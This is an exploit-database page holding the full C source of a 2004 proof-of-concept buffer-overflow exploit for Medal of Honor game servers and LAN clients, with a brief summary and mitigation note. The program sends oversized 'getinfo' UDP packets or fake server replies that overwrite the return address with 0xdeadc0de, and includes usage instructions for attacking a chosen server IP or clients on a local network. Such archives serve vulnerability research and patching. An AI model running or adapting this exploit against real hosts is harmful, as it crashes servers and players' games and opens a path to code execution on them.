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Suggest Exploit
vendor:
by:
Luigi Auriemma
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name:
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:

Buffer Overflow in getinfo function

This exploit takes advantage of a buffer overflow vulnerability in the getinfo function. By sending a specially crafted request with a long string of 'a' characters, it is possible to overwrite the EIP (Extended Instruction Pointer) with the value 0xdeadcode, causing the program to crash or execute arbitrary code.

Mitigation:

The vulnerability can be mitigated by implementing proper input validation and bounds checking in the getinfo function. Additionally, using compiler flags and techniques such as stack canaries can help detect and prevent buffer overflows.
Source

Exploit-DB raw data:

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
    #include <winsock.h>
    #include <io.h>
    #include <malloc.h>
    #include "winerr.h"

    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
#endif



#define VER         "0.1"
#define BUFFSZ      4096
#define PORT        12203
#define TIMEOUT     3
#define INFO        "\xff\xff\xff\xff\x02" "getinfo xxx\n"
#define BOFWIN      "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaa" "\xde\xc0\xad\xde"  // EIP deadc0de
#define BOFLINUX    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaa" "\xde\xc0\xad\xde"  // EIP deadc0de
#define SVBOF       "\xff\xff\xff\xff\x02" "getinfo %s\n"
#define CLBOF       "\xff\xff\xff\xff" \
                    "\x01" \
                    "infoResponse\n" \
                    "\\pure\\0" \
                    "\\gametypestring\\Free-For-All" \
                    "\\gametype\\1" \
                    "\\sv_maxclients\\16" \
                    "\\clients\\0" \
                    "\\mapname\\DM/mohdm1" \
                    "\\hostname\\myserver" \
                    "\\protocol\\8" \
                    "\\crash\\" BOFWIN \
                    "\\challenge\\xxx"




void showinfostring(u_char *buff, int size);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    int         sd,
                len,
                psz,
                on = 1,
                type;
    u_short     port = PORT;
    u_char      buff[BUFFSZ + 1];
    struct  sockaddr_in peer;


    setbuf(stdout, NULL);

    fputs("\n"
        "Medal of Honor buffer-overflow "VER"\n"
        "  Vulnerables: AA <= 1.11v9, SH <= 2.15, BT <= 2.40b\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\nUsage: %s <attack> [port(%d)]\n"
            "\n"
            "Attack:\n"
            " c = LAN clients buffer-overflow. It cannot work online because online is\n"
            "     used the Gamespy protocol that is not affected by this bug\n"
            " s = server buffer-overflow: you can test this PoC versus a specific server.\n"
            "     You must add the IP or the hostname of the server after the 's'.\n"
            "     The PoC first tests the overflow for Win32 servers and then for Linux\n"
            "     that requires more data for overwriting the return address\n"
            "\n"
            "Some usage examples:\n"
            "  mohaabof c                      listens on port %d for clients\n"
            "  mohaabof c 1234                 listens on port 1234\n"
            "  mohaabof s 192.168.0.1          tests the server 192.168.0.1 on port %d\n"
            "  mohaabof s 192.168.0.1 1234     tests the server 192.168.0.1 on port 1234\n"
            "\n"
            "The return address of the vulnerable hosts will be ever overwritten by the\n"
            "offset 0xdeadc0de\n"
            "\n", argv[0], PORT, PORT, PORT);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif    

    type = argv[1][0];
    if((type != 'c') && (type != 's')) {
        fputs("\n"
            "Error: Wrong type of attack.\n"
            "       You can choose between 2 types of attacks, versus clients with 'c' or\n"
            "       versus servers with 's'\n"
            "\n", stdout);
        exit(1);
    }
    if(type == 's') {
        if(!argv[2]) {
            fputs("\n"
                "Error: you must specify the server IP or hostname.\n"
                "       Example: mohaabof s localhost\n"
                "\n", stdout);
            exit(1);
        }
        peer.sin_addr.s_addr = resolv(argv[2]);
        if(argc > 3) port = atoi(argv[3]);
        printf("\n- Target   %s:%hu\n\n",
            inet_ntoa(peer.sin_addr),
            port);
    } else {
        peer.sin_addr.s_addr = INADDR_ANY;
        if(argc > 2) port = atoi(argv[2]);
        printf("\n- Listening on port %d\n", port);
    }

    peer.sin_port   = htons(port);
    peer.sin_family = AF_INET;
    psz             = sizeof(peer);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    if(type == 's') {
        fputs("- Request informations\n", stdout);
        if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, psz)
          < 0) std_err();
        if(timeout(sd) < 0) {
            fputs("\nError: socket timeout, probably the server is not online\n\n", stdout);
            exit(1);
        }
        len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
        if(len < 0) std_err();
        buff[len] = 0x00;

        showinfostring(buff, len);

        printf("- Send BOOM packet for the Windows version (data: %d, EIP: 0xdeadc0de)\n",
            sizeof(BOFWIN) - 1);
        len = sprintf(buff, SVBOF, BOFWIN);
        if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, psz)
          < 0) std_err();

        if(timeout(sd) < 0) {
            fputs("\nServer IS vulnerable!!!\n\n", stdout);
        } else {
            if(recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL)
              < 0) std_err();
            fputs("- Server doesn't seem to be vulnerable, It is probably a Linux server\n", stdout);
            printf("- Send BOOM packet for the Linux version (data: %d, EIP: 0xdeadc0de)\n",
                sizeof(BOFLINUX) - 1);
            len = sprintf(buff, SVBOF, BOFLINUX);
            if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, psz)
              < 0) std_err();
            if(timeout(sd) < 0) {
                fputs("\nServer IS vulnerable!!!\n\n", stdout);
            } else {
                len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
                if(len < 0) std_err();
                buff[len] = 0x00;
                printf("\n"
                    "Server doesn't seem to be vulnerable, the following is the answer received:\n"
                    "\n%s\n\n", buff);
            }
        }
    } else {
        if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
          < 0) std_err();
        if(bind(sd, (struct sockaddr *)&peer, psz)
          < 0) std_err();
        fputs("Clients (EIP will be overwritten by 0xdeadc0de):\n", stdout);
        while(1) {
            len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
            if(len < 0) std_err();
            buff[len] = 0x00;

            printf("%16s:%hu -> %s\n",
                inet_ntoa(peer.sin_addr),
                ntohs(peer.sin_port),
                buff);

            if(sendto(sd, CLBOF, sizeof(CLBOF) - 1, 0, (struct sockaddr *)&peer, psz)
              < 0) std_err();
        }
    }

    close(sd);
    return(0);
}





void showinfostring(u_char *buff, int size) {
    int     nt = 1,
            len;
    u_char  *string;

    len = strlen(buff);
    if(len < size) buff += len + 1;

    while(1) {
        string = strchr(buff, '\\');
        if(!string) break;

        *string = 0x00;

        /* \n or \t */
        if(!nt) {
            printf("%30s: ", buff);
            nt++;
        } else {
            printf("%s\n", buff);
            nt = 0;
        }
        buff = string + 1;
    }

    printf("%s\n\n", buff);
}




int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}




u_long resolv(char *host) {
    struct  hostent *hp;
    u_long  host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)(hp->h_addr);
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

///////////////////////////////////////////////////////////////////////////////////////

//winerr.h
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}

// milw0rm.com [2004-07-20]